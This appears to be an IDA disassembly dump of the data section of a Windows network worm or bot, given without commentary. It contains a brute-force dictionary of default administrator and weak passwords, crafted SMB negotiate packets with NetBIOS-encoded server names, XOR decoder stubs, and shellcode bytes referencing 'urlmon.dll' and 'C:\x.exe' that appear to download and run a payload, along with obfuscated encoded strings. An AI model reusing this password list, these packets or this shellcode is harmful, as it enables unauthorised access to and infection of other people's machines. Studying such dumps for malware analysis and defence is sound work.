dword_4245F4	dd 5C0D0A00h, 2E2F5Fh	; DATA XREF: .text:00409B98o
dword_4245FC	dd 0EFFFC481h, 44FFFFh,	4214F0h	; DATA XREF: .text:00409A83o
dword_424608	dd 42Ah			; DATA XREF: .text:00409A20r
dword_42460C	dd 3E8h			; DATA XREF: .text:00409BE2r
dword_424610	dd 258h			; DATA XREF: .text:00409A75r
		dd 4214ECh, 2C6h, 264h,	0
dword_424624	dd 20804h		; DATA XREF: .text:00409C0Ao
					; .text:00409C4Bo ...
		dd 2 dup(offset	aBadAllocation), offset	byte_4202BD, offset aAdministrator ; "bad allocation"
		dd offset aAdministrador, offset aAdministrateur, offset aAdministrat
		dd offset aAdmins, offset aAdmin, offset aAdm, offset aPassword1
		dd offset aPassword, offset aPasswd, offset aPass1234
		dd offset aPass, offset	aPwd, offset a007, offset a1, offset a12
		dd offset a123,	offset a1234, offset a12345, offset a123456
		dd offset a1234567, offset a12345678, offset a123456789
		dd offset a1234567890, offset a2000, offset a2001, offset a2002
		dd offset a2003, offset	a2004, offset aTest, offset aGuest
		dd offset aNone, offset	aDemo, offset aUnix, offset aLinux
		dd offset aChangeme, offset aDefault, offset aSystem_0
		dd offset aServer, offset aRoot, offset	aNull_1, offset	aQwerty
		dd offset aMail, offset	aOutlook, offset aWeb, offset aWww
		dd offset aInternet, offset aAccounts, offset aAccounting
		dd offset aHome, offset	aHomeuser, offset aUser, offset	aOem
		dd offset aOemuser, offset aOeminstall,	offset aWindows
		dd offset aWin98, offset aWin2k, offset	aWinxp,	offset aWinnt
		dd offset aWin2000, offset aQaz, offset	aAsd, offset aZxc
		dd offset aQwe,	offset aBob, offset aJen, offset aJoe
		dd offset aFred, offset	aBill, offset aMike, offset aJohn
		dd offset aPeter, offset aLuke,	offset aSam, offset aSue
		dd offset aSusan, offset aPeter, offset	aBrian,	offset aLee
		dd offset aNeil, offset	aIan, offset aChris, offset aEric
		dd offset aGeorge, offset aKate, offset	aBob, offset aKatie
		dd offset aMary, offset	aLogin,	offset aLoginpass, offset aTechnical
		dd offset aBackup, offset aExchange, offset aFuck, offset aBitch
		dd offset aSlut, offset	aSex, offset aGod, offset aHell
		dd offset aHello, offset aDomain, offset aDomainpass, offset aDomainpassword
		dd offset aDatabase, offset aAccess, offset aDbpass, offset aDbpassword
		dd offset aDatabasepass, offset	aData, offset aDatabasepasswo
		dd offset aDb1,	offset aDb2, offset aDb1234, offset aSa
		dd offset aSql,	offset aSqlpassoainsta,	offset aOrainstall
		dd offset aOracle, offset aIbm,	offset aCisco, offset aDell
		dd offset aCompaq, offset aSiemens, offset aHp,	offset aNokia
		dd offset aXp_0, offset	aControl, offset aOffice, offset aBlank
		dd offset aWinpass, offset aMain, offset aLan, offset aInternet
		dd offset aIntranet, offset aStudent, offset aTeacher
		dd offset aStaff, 0
dword_424860	dd 0C0B80041h, 1570040h, 0 ; DATA XREF:	sub_40936F+335o
		dd 1570000h, 2 dup(0)
dword_424878	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40936F+18Fo
		dd 1, 10000h, 50ABC2A4h, 40B3574Dh, 4FEE669Dh, 76A0FBD5h
		dd 5, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_4248C8	dd 83000005h, 10h, 67Fh, 1, 657h, 10000h, 50ABC2A4h, 40B3574Dh
					; DATA XREF: sub_40936F+2E2o
		dd 4FEE669Dh, 76A0FBD5h, 40C210h, 2, 0
		dd 2, 44h, 13FA94h, 4CCh, 0
		dd 4CCh, 0
dword_424918	dd 0Eh dup(425C425Ch), 0FF5C425Ch, 0E25Ch ; DATA XREF: sub_40936F+31Eo
aLSW		db '\)\L\á\w',0         ; DATA XREF: sub_40936F+300o
a8W		db '\8\',7,'\Ò\w',0     ; DATA XREF: sub_40936F:loc_409676o
		align 4
		dd 6 dup(offset	aBadAllocation)	; "bad allocation"
dword_424984	dd 22B1C933h, 74D9EED9h, 805BF424h, 8000146Bh, 8300156Bh
					; DATA XREF: sub_407D35+6Eo
		dd 0F3E2FEEBh, 0
dword_4249A0	dd 22B1C933h, 74D9EED9h, 805BF424h, 80001473h, 83001573h
					; DATA XREF: sub_407D35+169o
		dd 0F3E2FEEBh, 2 dup(0)
dword_4249C0	dd 758B54EBh, 35748B3Ch, 56F50378h, 320768Bh, 49C933F5h
					; DATA XREF: sub_407CD8+2Co
		dd 0DB33AD41h, 14BE0F36h, 74F23828h, 0DCBC108h,	0EB40DA03h
		dd 75DF3BEFh, 5E8B5EE7h, 66DD0324h, 8B4B0C8Bh, 0DD031C5Eh
		dd 38B048Bh, 7275C3C5h,	6E6F6D6Ch, 6C6C642Eh, 5C3A4300h
		dd 78652E78h, 0C0330065h, 30400364h, 408B0C78h,	1C708B0Ch
		dd 8408BADh, 408B09EBh,	7C408D34h, 953C408Bh, 0E4E8EBFh
		dd 0FF84E8ECh, 0EC83FFFFh, 242C8304h, 95D0FF3Ch, 1A36BF50h
		dd 6FE8702Fh, 8BFFFFFFh, 8DFC2454h, 0DB33BA52h,	0EB525353h
		dd 0D0FF5324h, 0FE98BF5Dh, 53E80E8Ah, 83FFFFFFh, 2C8304ECh
		dd 0D0FF6224h, 0E0CEEFBFh, 0FF40E860h, 0FF52FFFFh, 0FFD7E8D0h
		dd 0FFFFh, 0
		dd 0FF000000h, 0FFFF0000h, 0FFFFFF00h, 80000000h, 800000h
		dd 8000h, 80h, 41FE98h
dword_424AB0	dd 0			; DATA XREF: sub_407B60+6Er
dword_424AB4	dd 0			; DATA XREF: sub_407B60+75r
		dd 0
		dd 0FF000000h, 0
		dd 0FFFF0000h, 0
		dd 0FFFFFF00h, 0
		dd 0FFFFFFFFh, 0FF000000h, 0FFFFFFFFh, 0FFFF0000h, 0FFFFFFFFh
		dd 0FFFFFF00h, 0FFFFFFFFh
dword_424AF0	dd 0			; DATA XREF: sub_407B60+8Br
dword_424AF4	dd 80000000h		; DATA XREF: sub_407B60+91r
		dd 0
		dd 800000h, 0
		dd 8000h, 0
		dd 80h,	80000000h, 0
		dd 800000h, 0
		dd 8000h, 0
		dd 80h,	0
		dd 2 dup(41FE98h), 0A3BFA9A4h, 0A1A0BFA1h, 0A8A2BFA8h
		dd 3Dh dup(0)
dword_424C38	dd 40h dup(0)		; DATA XREF: sub_404954+48Co
		dd 0BFE91F90h, 0FEFEFEE5h, 0F5F4FFFEh, 0FCFEF2BFh, 7Ch dup(0)
		dd 1F900000h
dword_424F3C	dd 0E1E5E5F9h, 0E5BEBEABh, 0F0E3E3F4h, 0F2BFF6E1h, 0E2BEFCFEh
					; DATA XREF: sub_40936F+1E1o
					; .text:00409B03o ...
		dd 0BFE1E8FAh, 0F4E9F4h
aLvrycadshccnke	db 'lVrYcaDShccnkEfF',0 ; DATA XREF: sub_401AD1:loc_401AF6o
					; sub_401AD1+3Ar
		align 4
		dd 1Bh dup(0)
asc_424FD8	db '²²ÉÇÉ',0            ; DATA XREF: sub_401000+36Bo
					; sub_403186+3DBo ...
		align 10h
		dd 4 dup(0)
dword_424FF0	dd 0A6A4E8FCh, 0E8F5F0E2h, 0FBA9A4A5h, 0F7F5F9h, 2 dup(0)
					; DATA XREF: sub_403EAD+2BAo
					; sub_403EAD+3B6o
byte_425008	db 2Eh			; DATA XREF: sub_404614+C6r
byte_425009	db 0BCh, 0E9h, 0	; DATA XREF: sub_403EAD+3CCo
		dd 0Dh dup(0)
		db 0
byte_425041	db 0BBh, 0D1h, 0E9h	; DATA XREF: sub_403EAD+65Bo
		dd 0BFE5F4FFh, 0E9h, 0Dh dup(0)
		db 0
byte_425081	db 0E2h, 0FAh, 0E8h	; DATA XREF: sub_40306A+3Eo
					; sub_404954+144o ...
		dd 0E9F4BFE1h, 0F4h, 5 dup(0)
		db 0
byte_4250A1	db 0C2h, 0FAh, 0E8h	; DATA XREF: sub_404954+32Ao
		dd 0A2E1h, 6 dup(0)
		db 0
byte_4250C1	db 0C2h, 0FAh, 0E8h	; DATA XREF: sub_4026EE+12Eo
					; sub_404E45+A4o ...
		dd 0C2B1F4E1h, 0E5E3F0E5h, 0E1E4h, 1Dh dup(0)
dword_425144	dd 8			; DATA XREF: sub_40479C+150r
					; sub_40479C+185r
		db 2 dup(0)
byte_42514A	db 1			; DATA XREF: .text:00408718r
					; .text:00408960r
		align 4
		dd offset aBadAllocation ; "bad	allocation"
aBezIiaZAdgeVzv	db 'ס¥§ÒÓÔ©© Ô§Ò ¤£¥×¢§¢ §¢Ð¦Ô¦Õ£Ò¥Õ§¢¦Õ§§¦Ð§Ô×Ó©££¤Ð§¢¥¥ÒÔÓ ¡ §¦ÓÓ×'
					; DATA XREF: .text:00408705o
		db 'Ò§¥¦¤¡§¨¤¢¤£ÓÐТ§Ó¤¦¨ÒÔ£¥£¢§Ò¨Ð¢¦¢Ò¢¨£¥¤Ð¨£ Ó©¥£ÔÓ¦Ô¢×¥¢×¨¤¥',0
		align 10h
		dd 70h dup(0)
aIbeVJJaiAiJzeE	db '¨¡¥Ð¢Ô¦×¦ ©ÓÓ ©Ðצ§¥ÔÕÓ¥ ÔÔÒ¨¤£Ô¥¥©ÕÐÔ¦ÒÓ ££Ô Ó©£¤ÐÔÒ¦§¢§¥¢£××ÐÐÔ'
					; DATA XREF: .text:0040894Do
		db ' ¦££¥×ÐЧҧץУ×Ó××У×Ô§¥¨ÔÕÕ¦¢§Ó¨©Õ¥ÕÔÔ ×¢Ò¤¤¤¥¨©£££Ô Ò¤¢Ð ',0
		align 10h
		dd 10h dup(0)
asc_425450	db 'ߨÒÚ',0             ; DATA XREF: sub_403805+27o
					; sub_403879+2DFo
		align 4
		db 0
asc_425459	db 'ÁÐÂÂ',0             ; DATA XREF: sub_403879+1BEo
		align 10h
		db 2 dup(0)
asc_425462	db 'ÄÂÔÃ',0             ; DATA XREF: sub_403879+2EFo
		align 4
		db 3 dup(0)
asc_42546B	db 'ÁØßÖ',0             ; DATA XREF: sub_403EAD+1CBo
		dd 0
asc_425474	db 'ÁÞßÖ',0             ; DATA XREF: sub_403EAD+211o
		align 4
		db 0
asc_42547D	db 'ÚØÒÚ',0             ; DATA XREF: sub_403EAD+1DBo
		align 4
		db 2 dup(0)
asc_425486	db 'ÛÞØß',0             ; DATA XREF: sub_403EAD+2A7o
					; sub_403EAD+37Co
		align 4
		db 3 dup(0)
asc_42548F	db 'ÜÞÕÔ',0             ; DATA XREF: sub_403EAD+38Co
		align 8
asc_425498	db 'ÁÃØÇÜÂÖ',0          ; DATA XREF: sub_403D0C+9Bo
					; sub_403EAD+1EBo
		dd 2 dup(0)
		dd offset aBadAllocation ; "bad	allocation"
dword_4254AC	dd 5348h, 3 dup(41FE98h) ; DATA	XREF: sub_402F48+20o
					; sub_402F48+8Eo
dword_4254BC	dd 2F000000h, 424D53FFh, 72h, 4	dup(0) ; DATA XREF: sub_4022A6+ECo
		dd 25C0000h, 0
		dd 2000C00h, 4C20544Eh,	2E30204Dh, 3231h
unk_4254F0	db  81h	; 		; DATA XREF: sub_4022A6+B5o
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedcaca	db ' EKEDFEEIEDCACACACACACACACACACAAA',0
		align 10h
dword_425540	dd 48000000h, 424D53FFh, 73h, 4	dup(0) ; DATA XREF: sub_4022A6+123o
		dd 25C0000h, 0
		dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
		dd 1000000h, 0B000000h,	4A000000h, 54410043h, 434854h
		dd 0
		dd 5 dup(offset	aBadAllocation)	; "bad allocation"
dword_4255A4	dd 80000002h, 80000001h, 41FE98h ; DATA	XREF: sub_40140A+71o
dword_4255B0	dd 0CA975201h, 0A811D059h, 0D5h, 1Dh dup(0) ; DATA XREF: sub_4018E2+53o
		dd 9, 0C5C1371Dh, 6379AB46h, 8Fh, 1Dh dup(0)
		dd 9, 364C033h,	0C783040h, 8Bh,	1Dh dup(0)
		dd 9, 7D8AAFA8h, 0F4BE11C9h, 8,	1Dh dup(0)
		dd 9, 9F499642h, 0F537FD4Ah, 0D6h, 1Dh dup(0)
		dd 9, 4A5A10EBh, 0B966C933h, 7Dh, 1Dh dup(0)
		dd 9, 123485E9h, 411291D9h, 12h, 1Dh dup(0)
		dd 9, 8B64DB33h, 408B3043h, 0Ch, 1Dh dup(0)
		dd 9, 5EB02EBh,	0FFFFF9E8h, 0FFh, 1Dh dup(0)
		dd 9
off_425A54	dd offset off_41E37C, 0	; DATA XREF: ev73vtp2:00422000o
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
aUa		db '|ãA',0              ; DATA XREF: ev73vtp2:0042201Co
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
aUa_0		db '|ãA',0              ; DATA XREF: ev73vtp2:00422038o
		dd 0
a_?avexception@	db '.?AVexception@std@@',0
aUa_1		db '|ãA',0              ; DATA XREF: ev73vtp2:00422074o
		align 8
a_?avbad_alloc@	db '.?AVbad_alloc@std@@',0
		dd 5 dup(0)
dword_425AE0	dd 0			; DATA XREF: sub_40D218+4w
					; sub_40D31E+3r
dword_425AE4	dd 0			; DATA XREF: .text:0040D45Bo
					; .text:loc_41DE46w ...
		align 10h
dword_425AF0	dd 0			; DATA XREF: .text:loc_40D454r
					; .text:0040D462w
dword_425AF4	dd 0			; DATA XREF: .text:0040E5CFw
					; sub_414E9C:loc_414EAEr ...
		dd 0
dword_425AFC	dd 0			; DATA XREF: sub_40E44Dr
					; sub_4197F2+15r ...
dword_425B00	dd 0			; DATA XREF: sub_40EB6F+8Fw
dword_425B04	dd 0			; DATA XREF: sub_40EB6F+99w
		dd 0
dword_425B0C	dd 0			; DATA XREF: sub_40EB6F+8Aw
		dd 10h dup(0)
dword_425B50	dd 0			; DATA XREF: sub_40EB6F+BFw
					; sub_40EB6F+DFr
		align 8
dword_425B58	dd 0			; DATA XREF: sub_40EB6F+7Bw
		dd 22h dup(0)
word_425BE4	dw 0			; DATA XREF: sub_40EB6F+4Fw
		align 4
word_425BE8	dw 0			; DATA XREF: sub_40EB6F+48w
		align 4
word_425BEC	dw 0			; DATA XREF: sub_40EB6F+41w
		align 10h
word_425BF0	dw 0			; DATA XREF: sub_40EB6F+3Aw
		align 4
dword_425BF4	dd 0			; DATA XREF: sub_40EB6F+26w
dword_425BF8	dd 0			; DATA XREF: sub_40EB6F+20w
dword_425BFC	dd 0			; DATA XREF: sub_40EB6F+1Aw
dword_425C00	dd 0			; DATA XREF: sub_40EB6F+14w
dword_425C04	dd 0			; DATA XREF: sub_40EB6F+Ew
dword_425C08	dd 0			; DATA XREF: sub_40EB6F+9w
dword_425C0C	dd 0			; DATA XREF: sub_40EB6F+60w
dword_425C10	dd 0			; DATA XREF: sub_40EB6F+68w
					; sub_40EB6F+85r
word_425C14	dw 0			; DATA XREF: sub_40EB6F+33w
		align 4
dword_425C18	dd 0			; DATA XREF: sub_40EB6F+57w
dword_425C1C	dd 0			; DATA XREF: sub_40EB6F+70w
word_425C20	dw 0			; DATA XREF: sub_40EB6F+2Cw
		align 4
		dd 80h dup(0)
dword_425E24	dd 0			; DATA XREF: sub_40EF25+15w
					; sub_40EF25+1Dw ...
word_425E28	dw 0			; DATA XREF: sub_40F14A+E7w
		align 4
		dd 2 dup(0)
dword_425E34	dd 4E4h			; DATA XREF: sub_40F14A+C3w
dword_425E38	dd 0			; DATA XREF: sub_40F14A+CBw
dword_425E3C	dd 0			; DATA XREF: sub_40F14A+D3w
dword_425E40	dd 0			; DATA XREF: sub_40B187+6r
					; sub_40B2C7+6r ...
		dd 8 dup(0)
off_425E64	dd offset sub_40F6D7	; DATA XREF: sub_40F9B7+30w
					; sub_40F9B7+51r ...
off_425E68	dd offset sub_4470DB	; DATA XREF: sub_40F6E0+10r
					; sub_40F9B7+3Dw ...
off_425E6C	dd offset sub_438BFC	; DATA XREF: sub_40F7FB+44r
					; sub_40F9B7+4Aw ...
off_425E70	dd offset sub_43BC91	; DATA XREF: sub_40F70A+Br
					; sub_40F9B7+5Ew ...
		align 8
dword_425E78	dd 15C468h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40FD61+4o
					; .data:off_423800o
dword_425E90	dd 15CBD8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423808o
dword_425EA8	dd 15B890h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423818o
		dd 15C078h, 0FFFFFFFFh,	4 dup(0)
dword_425ED8	dd 15ACB8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423830o
		dd 15B848h, 0FFFFFFFFh,	4 dup(0)
		dd 15CD68h, 0FFFFFFFFh,	4 dup(0)
dword_425F20	dd 15CD90h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423850o
dword_425F38	dd 15CDB8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423860o
		dd 15CDE0h, 0FFFFFFFFh,	4 dup(0)
		dd 15CE08h, 0FFFFFFFFh,	4 dup(0)
dword_425F80	dd 15CE30h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423880o
		dd 15CE58h, 0FFFFFFFFh,	4 dup(0)
		dd 15CE80h, 0FFFFFFFFh,	4 dup(0)
dword_425FC8	dd 900000h		; DATA XREF: sub_40CA3B+7Cr
					; sub_40DBA6+62r ...
dword_425FCC	dd 0			; DATA XREF: sub_40FFBD+21w
					; sub_410030+21Cr ...
dword_425FD0	dd 0			; DATA XREF: sub_411E8A+14r
					; sub_411E8A+29r ...
dword_425FD4	dd 0			; DATA XREF: sub_41819F+19Er
dword_425FD8	dd 2			; DATA XREF: .text:0040E55Aw
					; sub_412056:loc_41207Er ...
dword_425FDC	dd 0A28h		; DATA XREF: .text:0040E571w
dword_425FE0	dd 501h			; DATA XREF: .text:0040E560w
dword_425FE4	dd 5			; DATA XREF: .text:0040E565w
					; sub_41208D+30r
dword_425FE8	dd 1			; DATA XREF: .text:0040E56Bw
dword_425FEC	dd 1			; DATA XREF: sub_41510F+A2w
dword_425FF0	dd 902BA8h		; DATA XREF: sub_41510F+A7w
		align 8
dword_425FF8	dd 902BC8h		; DATA XREF: sub_414E9C+4Bw
					; sub_414E9C:loc_414F61r ...
		dd 3 dup(0)
off_426008	dd offset aCM_unpackerPac ; DATA XREF: sub_41510F+37w
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_426010	db 0			; DATA XREF: sub_41215B+2Cw
					; sub_412410+5r
		align 4
dword_426014	dd 0			; DATA XREF: sub_41215B+23w
dword_426018	dd 0			; DATA XREF: sub_41215B+1Br
					; sub_41215B+A0w
dword_42601C	dd 0			; DATA XREF: sub_4122BD+27o
dword_426020	dd 0			; DATA XREF: sub_4122BD+22r
dword_426024	dd 0			; DATA XREF: sub_41232D+4w sub_412337r
dword_426028	dd 2			; DATA XREF: sub_4124D4+280w
					; sub_4129EF:loc_412A25w ...
		dd 3 dup(0)
dword_426038	dd 6 dup(0)		; DATA XREF: sub_413D84+66o
		db 0
byte_426051	db 3 dup(0)		; DATA XREF: sub_413D84+8Ao
		dd 40h dup(0)
		db 0
byte_426155	db 0			; DATA XREF: sub_413D84+92w
		align 4
		dd 7Dh dup(0)
dword_42634C	dd 0			; DATA XREF: sub_40DC83+80r
					; sub_413D84+E3o ...
dword_426350	dd 0			; DATA XREF: sub_41494F+8r
		align 8
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41510F+1Do
					; .data:off_426008o
		align 4
		dd 3Ah dup(0)
byte_42645C	db 0			; DATA XREF: sub_41510F+24w
		align 10h
dword_426460	dd 1			; DATA XREF: sub_4151C8+2r
					; sub_4151C8+24w ...
dword_426464	dd 77C26E79h		; DATA XREF: sub_4153D9+43r
					; sub_415445+11w ...
byte_426468	db 1			; DATA XREF: sub_4153D9:loc_415412r
					; sub_415445+17w ...
		align 4
off_42646C	dd offset sub_416114	; DATA XREF: sub_416160+Cr
					; sub_416197+Bw
dword_426470	dd 1			; DATA XREF: sub_416217+14r
					; sub_416217+3Aw ...
dword_426474	dd 1			; DATA XREF: sub_4165FC+Fr
					; sub_4165FC+37w ...
dword_426478	dd 0			; DATA XREF: .data:off_423F1Co
					; .data:off_423F20o ...
dword_42647C	dd 77E7C706h		; DATA XREF: sub_416DBA+4w
					; sub_416DD4+11r ...
dword_426480	dd 0			; DATA XREF: sub_41787D+Ar
dword_426484	dd 0			; DATA XREF: sub_417EE2+4w
					; sub_417F3C:loc_417F85o ...
dword_426488	dd 0			; DATA XREF: sub_417EE2+9w
					; sub_417F3C:loc_417FDBo ...
dword_42648C	dd 0			; DATA XREF: sub_417EE2+Ew sub_417F2Fr ...
dword_426490	dd 0			; DATA XREF: sub_417EE2+13w
					; sub_417F3C:loc_417FE7o ...
		align 8
dword_426498	dd 0			; DATA XREF: sub_4180EC+4w
		dd 2 dup(0)
dword_4264A4	dd 0			; DATA XREF: sub_4180F6+4w
		dd 0Fh dup(0)
dword_4264E4	dd 0			; DATA XREF: sub_4124D4+6r
dword_4264E8	dd 0			; DATA XREF: sub_419654+10r
					; sub_419654+60w ...
dword_4264EC	dd 0			; DATA XREF: sub_419654+75w
					; sub_419654:loc_4197A2r
dword_4264F0	dd 0			; DATA XREF: sub_419654+82w
					; sub_419654+167r
dword_4264F4	dd 0			; DATA XREF: sub_419654+D0w
					; sub_419654:loc_419729r
dword_4264F8	dd 0			; DATA XREF: sub_419654+BAw
					; sub_419654+E1r ...
		align 10h
dword_426500	dd 0			; DATA XREF: sub_41989C+Fw
		dd 2Fh dup(0)
dword_4265C0	dd 0			; DATA XREF: sub_41A8F9:loc_41A921r
byte_4265C4	db 0			; DATA XREF: sub_41AAC4:loc_41AC00r
		align 4
dword_4265C8	dd 0			; DATA XREF: sub_401000+98w
					; sub_401000+12Dr ...
dword_4265CC	dd 0			; DATA XREF: sub_401000+B8w
					; sub_401000+145r ...
dword_4265D0	dd 0			; DATA XREF: sub_401000+DCw
					; sub_401000+15Dr ...
dword_4265D4	dd 0			; DATA XREF: sub_401000+68w
					; sub_401000+109r ...
dword_4265D8	dd 0			; DATA XREF: sub_401000+78w
					; sub_401000+115r ...
dword_4265DC	dd 0			; DATA XREF: sub_401000+88w
					; sub_401000+121r ...
dword_4265E0	dd 0			; DATA XREF: sub_401000+48w
					; sub_401000+ECr ...
dword_4265E4	dd 0			; DATA XREF: sub_401000+A8w
					; sub_401000+139r ...
dword_4265E8	dd 0			; DATA XREF: sub_401000+F2w
					; sub_401000+268r
dword_4265EC	dd 0			; DATA XREF: sub_401000+58w
					; sub_401000+FDr ...
dword_4265F0	dd 0			; DATA XREF: sub_401000+C8w
					; sub_401000+151r ...
dword_4265F4	dd 0			; DATA XREF: sub_40306A+A3w
					; .text:00408DAAr ...
dword_4265F8	dd 0			; DATA XREF: sub_402AF2+4Bw
					; sub_4037A9+Dr ...
dword_4265FC	dd 0			; DATA XREF: sub_402AF2+50w
					; sub_4037A9+13r ...
dword_426600	dd 0			; DATA XREF: sub_402AF2+61w
					; .text:00409155r
dword_426604	dd 0			; DATA XREF: sub_402AF2+66w
					; .text:0040914Fr
dword_426608	dd 0			; DATA XREF: sub_402AF2+71w
					; .text:00409149r
dword_42660C	dd 0			; DATA XREF: sub_402AF2+76w
					; .text:0040913Cr
dword_426610	dd 0			; DATA XREF: sub_402C7Bw
					; sub_402CC7:loc_402CE7r ...
dword_426614	dd 0			; DATA XREF: sub_402C7B+9w
					; sub_402CC7+27r ...
dword_426618	dd 0			; DATA XREF: sub_402C7B+20w
					; sub_402C7B+2Fo ...
dword_42661C	dd 0			; DATA XREF: sub_402C7B+25w
		dd 33h dup(0)
dword_4266EC	dd 2 dup(0)		; DATA XREF: sub_402C7B+43o
word_4266F4	dw 0			; DATA XREF: sub_40301F+22o
					; sub_40306A+A8w ...
word_4266F6	dw 0			; DATA XREF: sub_40306A+C4w
dword_4266F8	dd 0			; DATA XREF: sub_40306A+CAw
		dd 2 dup(0)
dword_426704	dd 0			; DATA XREF: sub_402F48+6r
					; sub_402F48+73r ...
dword_426708	dd 41h dup(0)		; DATA XREF: sub_40306A+Do
					; sub_40306A+49o ...
dword_42680C	dd 0			; DATA XREF: sub_40301F+27r
					; sub_40306A+7Dw ...
byte_426810	db 0			; DATA XREF: sub_40306A+27o
					; sub_40306A+6Ew ...
		align 4
		dd 40h dup(0)
byte_426914	db 0			; DATA XREF: sub_40306A+10Fw
					; sub_404954+422w ...
		align 4
dword_426918	dd 41h dup(0)		; DATA XREF: sub_40306A+1Ao
					; sub_403186:loc_40337Fo
dword_426A1C	dd 0			; DATA XREF: sub_401000+386o
					; sub_4026EE+167o ...
byte_426A20	db 0			; DATA XREF: sub_4037A9:loc_4037D9r
					; sub_404954+3D6w ...
		align 4
		dd 8 dup(0)
dword_426A44	dd 0			; DATA XREF: sub_40819D+32w
					; sub_40819D+96r ...
dword_426A48	dd 40h dup(0)		; DATA XREF: sub_407F20+21o
					; sub_407FA4+45o
byte_426B48	db 0			; DATA XREF: sub_408DE0+CDo
					; sub_408DE0+12Ew ...
		align 4
		dd 3Fh dup(0)
dword_426C48	dd 0			; DATA XREF: sub_408DE0+45o
					; .text:00409187r
dword_426C4C	dd 0			; DATA XREF: sub_408DE0+190w
					; sub_408DE0:loc_408F7Dw ...
byte_426C50	db 0			; DATA XREF: .text:0040A6CBw
		align 4
		dd 3Fh dup(0)
dword_426D50	dd 0			; DATA XREF: .text:0040A673r
					; .text:0040A6A1w
		dd 3 dup(0)
		db 0
byte_426D61	db 0			; DATA XREF: .text:loc_40A3E4r
					; .text:0040A7E1w
		align 10h
dword_426D70	dd 0			; DATA XREF: .text:loc_40A7BBr
		dd 330Bh dup(0)
dword_4339A0	dd 0			; DATA XREF: sub_403186+3C2w
					; sub_403186+441r ...
		db 0
byte_4339A5	db 0			; DATA XREF: sub_404954+414w
					; sub_407F20+Er ...
		align 4
dword_4339A8	dd 0			; DATA XREF: sub_40819D+151w
dword_4339AC	dd 0			; DATA XREF: sub_407FA4:loc_40810Ew
					; sub_407FA4+190r ...
dword_4339B0	dd 5Eh dup(0)		; DATA XREF: .text:00409B7Fo
dword_433B28	dd 5Dh dup(0)		; DATA XREF: .text:00409BA2o
dword_433C9C	dd 0			; DATA XREF: sub_401CE7+6Bo
					; sub_404614+F0o ...
dword_433CA0	dd 903990h		; DATA XREF: sub_401CE7+5Cr
					; sub_404614+E9r ...
dword_433CA4	dd 7			; DATA XREF: sub_401E7B+20r
					; sub_401E7B:loc_401ED8w ...
dword_433CA8	dd 0			; DATA XREF: sub_4026EE+BCo
					; sub_408355+43o ...
dword_433CAC	dd 903AA8h		; DATA XREF: sub_4026EE+AFr
					; sub_4026EE:loc_4027BEr ...
dword_433CB0	dd 0			; DATA XREF: sub_4083E8+82w
					; sub_4084E5+20r ...
off_433CB4	dd offset aI@		; DATA XREF: .text:0041DD04o
					; .text:0041DD0Ew
					; "Öˆ@"
off_433CB8	dd offset aOj@		; DATA XREF: .text:0041DCE8o
					; .text:0041DCF2w
					; "ކ@"
off_433CBC	dd offset aN@		; DATA XREF: .text:0041DD20o
					; .text:0041DD2Aw
					; "=@"
off_433CC0	dd offset aR@		; DATA XREF: .text:0041DD3Co
					; .text:0041DD46w
					; "\n@"
dword_433CC4	dd 2080Ah		; DATA XREF: .text:00409BF7o
					; .text:0041DD5Aw
off_433CC8	dd offset a5z@		; DATA XREF: .text:0041DD82o
					; .text:0041DD8Cw
					; "5§@"
off_433CCC	dd offset off_4216B0	; DATA XREF: .text:0041DD9Eo
					; .text:0041DDA8w
off_433CD0	dd offset aPv@		; DATA XREF: .text:0041DD66o
					; .text:0041DD70w
					; "¢@"
dword_433CD4	dd 0			; DATA XREF: sub_41494F+34r
dword_433CD8	dd 20h			; DATA XREF: sub_412AB4+3Cw
					; sub_412AB4+BFw ...
		align 10h
dword_433CE0	dd 9020B0h		; DATA XREF: sub_410CB6+FDr
					; sub_41235F+87r ...
		dd 3Fh dup(0)
dword_433DE0	dd 903188h		; DATA XREF: sub_41235F+2Bw
					; sub_41235F+44w ...
		dd 7 dup(0)
dword_433E00	dd 400h	dup(0)		; DATA XREF: .data:off_423938o
					; .data:00423940o
dword_434E00	dd 200h			; DATA XREF: sub_41235Fr
					; sub_41235F:loc_412379w ...
dword_434E04	dd 0			; DATA XREF: sub_4122B5w
dword_434E08	dd 1			; DATA XREF: sub_414E9C+B3w
dword_434E0C	dd 90310Ch		; DATA XREF: sub_40D0EE+10r
					; sub_40D0EE+9Bw ...
dword_434E10	dd 903100h		; DATA XREF: sub_40D0EE+5r
					; sub_40D0EE+87w ...
dword_434E14	dd 1			; DATA XREF: sub_40F2E4r
					; sub_40F2E4+11w ...
dword_434E18	dd 0			; DATA XREF: sub_4120C9:loc_412132r
					; sub_4120C9+74o ...
dword_434E1C	dd 1			; DATA XREF: sub_40E330r sub_411935w ...
dword_434E20	dd 1			; DATA XREF: sub_40CBA0+1Er
					; sub_40CC20+28r ...
dword_434E24	dd 0			; DATA XREF: sub_40FFBD+28w
					; sub_410005r ...
dword_434E28	dd 0			; DATA XREF: sub_40FFBD+15w
					; sub_410005+6r ...
dword_434E2C	dd 0			; DATA XREF: sub_40DC34+13r
					; sub_40FFBD+36w ...
dword_434E30	dd 0			; DATA XREF: sub_40FFBD+2Fw
					; sub_410030+2FCw ...
dword_434E34	dd 0			; DATA XREF: sub_40FFBD+3Cw
					; sub_410344r ...
dword_434E38	dd 0			; DATA XREF: sub_410030+229r
					; sub_410030+249r ...
dword_434E3C	dd 1			; DATA XREF: sub_40CA3B:loc_40CA74r
					; sub_40DBA6+13r ...
